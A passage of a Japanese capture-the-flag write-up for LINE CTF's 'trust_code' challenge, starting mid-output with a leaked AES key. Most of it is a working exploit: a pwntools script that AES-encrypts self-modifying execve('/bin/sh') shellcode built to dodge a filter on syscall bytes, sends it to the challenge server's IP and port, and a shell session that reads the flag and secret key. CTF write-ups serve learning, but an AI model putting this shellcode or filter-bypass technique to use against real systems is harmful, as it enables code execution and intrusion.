b'\n= Executed =\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n= Executed =\n\x00\x1c\x01\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00v0nVadznhxnv$nph\nSorry for the inconvenience, there was a problem while decrypting code.\n'
[*] Closed connection to 35.190.227.47 port 10009
[+] Opening connection to 35.190.227.47 on port 10009: Done
```

`secret_key`は`"v0nVadznhxnv$nph"`。

後はシェルコードを送り込むだけ……と思いきや、`invalid_check`が残っていた。`0x05`と`0x0f`が弾かれるので、`syscall`（`0f 05`）が使えない。とはいえ、書き込みもできる領域にシェルコードが置かれるので書き換えるだけ。そのようなシェルコードをコードゴルフ。呼び出し時に`rax`がシェルコードを指していることを利用して、

```asm
  call base
base:
  pop rax
```

を削ったらいけた。

コードゴルフしないためのリトライ機能かと思ったけど、1回目と2回目でどうやって状態を持ち越せば良いのか分からん。

```attack2.py
from pwn import *
from Crypto.Cipher import AES

context.arch = "amd64"
shell = asm("""
base:
  /* rax = base */
  add rax, 0x1c /* (syscall-base)だとなぜかdwordになる */
  not word ptr [rax]

  push SYS_execve
  pop rax
  mov rbx, 0x68732f6e69622f /* /bin/sh */
  push rbx
  mov rdi, rsp
  xor esi, esi 
  xor edx, edx
syscall:
  .byte (0xff^0x0f), (0xff^0x05)
""")
print(len(shell))
print(disasm(shell))

shell = b"TRUST_CODE_ONLY!"+shell
shell += b"\x00"*(0x30-len(shell))

key = b"v0nVadznhxnv$nph"
iv = bytes(16)

shell = AES.new(key=key, mode=AES.MODE_CBC, iv=iv).encrypt(shell)

s = remote("35.190.227.47", 10009)
#s = remote("localhost", 8888)
s.sendafter(b"iv> ", iv)
s.sendafter(b"code> ", shell)

s.interactive()
```

```
$ python3 attack2.py
30
   0:   48 83 c0 1c             add    rax, 0x1c
   4:   66 f7 10                not    WORD PTR [rax]
   7:   6a 3b                   push   0x3b
   9:   58                      pop    rax
   a:   48 bb 2f 62 69 6e 2f    movabs rbx, 0x68732f6e69622f
  11:   73 68 00
  14:   53                      push   rbx
  15:   48 89 e7                mov    rdi, rsp
  18:   31 f6                   xor    esi, esi
  1a:   31 d2                   xor    edx, edx
  1c:   f0 fa                   lock cli
[+] Opening connection to 35.190.227.47 on port 10009: Done
[*] Switching to interactive mode
$ ls -al
total 68
dr-xr-xr-x 1 root  trust_code  4096 Mar 23 17:46 .
drwxr-xr-x 1 root  root        4096 Mar 23 16:37 ..
-r-xr-xr-x 1 root  trust_code   220 Feb 25  2020 .bash_logout
-r-xr-xr-x 1 root  trust_code  3771 Feb 25  2020 .bashrc
-r-xr-xr-x 1 root  trust_code   807 Feb 25  2020 .profile
-rw-r--r-- 1 20162      20166    35 Mar 23 16:33 flag
-rwxr-xr-x 1 20162      20166    73 Mar 23 16:33 run.sh
-rw-r--r-- 1 20162      20166    16 Mar 23 16:33 secret_key.txt
-rwxr-xr-x 1 20162      20166 31096 Mar 23 16:33 trust_code
$ cat flag
LINECTF{I_5h0uld_n0t_trust_my_c0de}$
$ cat secret_key.txt
v0nVadznhxnv$nph$
```

`LINECTF{I_5h0uld_n0t_trust_my_c0de}`